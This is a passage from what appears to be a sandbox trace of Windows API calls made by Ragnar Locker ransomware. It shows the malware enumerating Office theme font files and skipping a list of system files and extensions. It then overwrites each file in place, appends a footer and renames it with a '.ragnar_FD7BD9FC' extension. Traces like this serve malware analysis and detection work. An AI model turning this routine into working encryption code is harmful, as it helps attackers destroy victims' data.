lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.334] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.334] GetProcessHeap () returned 0x580000 [0094.334] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.334] CloseHandle (hObject=0x10c) returned 1 [0094.334] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" [0094.334] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.ragnar_FD7BD9FC" [0094.334] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0094.335] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.335] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Flow.xml" | out: lpString1="Flow.xml") returned="Flow.xml" [0094.335] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml") returned=".xml" [0094.335] lstrcmpiW (lpString1="Flow.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.335] lstrcmpiW (lpString1="Flow.xml", lpString2="autorun.inf") returned 1 [0094.335] lstrcmpiW (lpString1="Flow.xml", lpString2="boot.ini") returned 1 [0094.335] lstrcmpiW (lpString1="Flow.xml", lpString2="bootfont.bin") returned 1 [0094.335] lstrcmpiW (lpString1="Flow.xml", lpString2="bootsect.bak") returned 1 [0094.335] lstrcmpiW (lpString1="Flow.xml", lpString2="bootmgr") returned 1 [0094.335] lstrcmpiW (lpString1="Flow.xml", lpString2="bootmgr.efi") returned 1 [0094.335] lstrcmpiW (lpString1="Flow.xml", lpString2="bootmgfw.efi") returned 1 [0094.335] lstrcmpiW (lpString1="Flow.xml", lpString2="desktop.ini") returned 1 [0094.335] lstrcmpiW (lpString1="Flow.xml", lpString2="iconcache.db") returned -1 [0094.335] lstrcmpiW (lpString1="Flow.xml", lpString2="ntldr") returned -1 [0094.336] lstrcmpiW (lpString1="Flow.xml", lpString2="ntuser.dat") returned -1 [0094.336] lstrcmpiW (lpString1="Flow.xml", lpString2="ntuser.dat.log") returned -1 [0094.336] lstrcmpiW (lpString1="Flow.xml", lpString2="ntuser.ini") returned -1 [0094.336] lstrcmpiW (lpString1="Flow.xml", lpString2="thumbs.db") returned -1 [0094.336] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.336] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.336] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.336] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.336] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.336] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.336] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml")) returned 0x20 [0094.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.336] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3509) returned 1 [0094.336] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xdac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.336] GetProcessHeap () returned 0x580000 [0094.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.336] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.338] VirtualAlloc (lpAddress=0x0, dwSize=0xdb5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.338] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.338] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.338] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdb5, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xdb5, lpOverlapped=0x0) returned 1 [0094.338] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.338] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdb5, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.338] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdb5, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xdb5, lpOverlapped=0x0) returned 1 [0094.338] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdb5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.338] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.339] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xdb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.339] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.339] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.339] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.339] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.339] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.339] GetProcessHeap () returned 0x580000 [0094.339] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.339] CloseHandle (hObject=0x10c) returned 1 [0094.339] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" [0094.339] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.ragnar_FD7BD9FC" [0094.339] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.340] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0094.340] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.340] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Foundry.xml" | out: lpString1="Foundry.xml") returned="Foundry.xml" [0094.340] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml") returned=".xml" [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="autorun.inf") returned 1 [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="boot.ini") returned 1 [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="bootfont.bin") returned 1 [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="bootsect.bak") returned 1 [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="bootmgr") returned 1 [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="bootmgr.efi") returned 1 [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="bootmgfw.efi") returned 1 [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="desktop.ini") returned 1 [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="iconcache.db") returned -1 [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="ntldr") returned -1 [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="ntuser.dat") returned -1 [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="ntuser.dat.log") returned -1 [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="ntuser.ini") returned -1 [0094.340] lstrcmpiW (lpString1="Foundry.xml", lpString2="thumbs.db") returned -1 [0094.340] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.340] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.340] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.340] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.340] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.340] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.340] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml")) returned 0x20 [0094.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.342] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3796) returned 1 [0094.342] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xecb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.342] GetProcessHeap () returned 0x580000 [0094.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.342] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.343] VirtualAlloc (lpAddress=0x0, dwSize=0xed4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.343] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.343] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.344] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xed4, lpOverlapped=0x0) returned 1 [0094.344] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.344] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xed4, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.344] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xed4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xed4, lpOverlapped=0x0) returned 1 [0094.344] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xed4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.344] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.344] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.344] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.344] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.344] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.344] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.345] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.345] GetProcessHeap () returned 0x580000 [0094.345] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.345] CloseHandle (hObject=0x10c) returned 1 [0094.345] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" [0094.345] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.ragnar_FD7BD9FC" [0094.345] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.345] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0094.346] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.346] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Grid.xml" | out: lpString1="Grid.xml") returned="Grid.xml" [0094.346] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml") returned=".xml" [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="autorun.inf") returned 1 [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="boot.ini") returned 1 [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="bootfont.bin") returned 1 [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="bootsect.bak") returned 1 [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="bootmgr") returned 1 [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="bootmgr.efi") returned 1 [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="bootmgfw.efi") returned 1 [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="desktop.ini") returned 1 [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="iconcache.db") returned -1 [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="ntldr") returned -1 [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="ntuser.dat") returned -1 [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="ntuser.dat.log") returned -1 [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="ntuser.ini") returned -1 [0094.346] lstrcmpiW (lpString1="Grid.xml", lpString2="thumbs.db") returned -1 [0094.346] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.346] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.346] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.346] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.346] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.346] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.346] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml")) returned 0x20 [0094.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.347] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3673) returned 1 [0094.347] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.347] GetProcessHeap () returned 0x580000 [0094.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.348] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.349] VirtualAlloc (lpAddress=0x0, dwSize=0xe59, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.349] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.349] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.349] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe59, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe59, lpOverlapped=0x0) returned 1 [0094.349] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.349] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe59, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.349] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe59, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe59, lpOverlapped=0x0) returned 1 [0094.350] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe59, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.350] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.350] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe59, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.350] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.350] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.350] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.350] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.350] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.350] GetProcessHeap () returned 0x580000 [0094.350] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.350] CloseHandle (hObject=0x10c) returned 1 [0094.350] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" [0094.350] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme 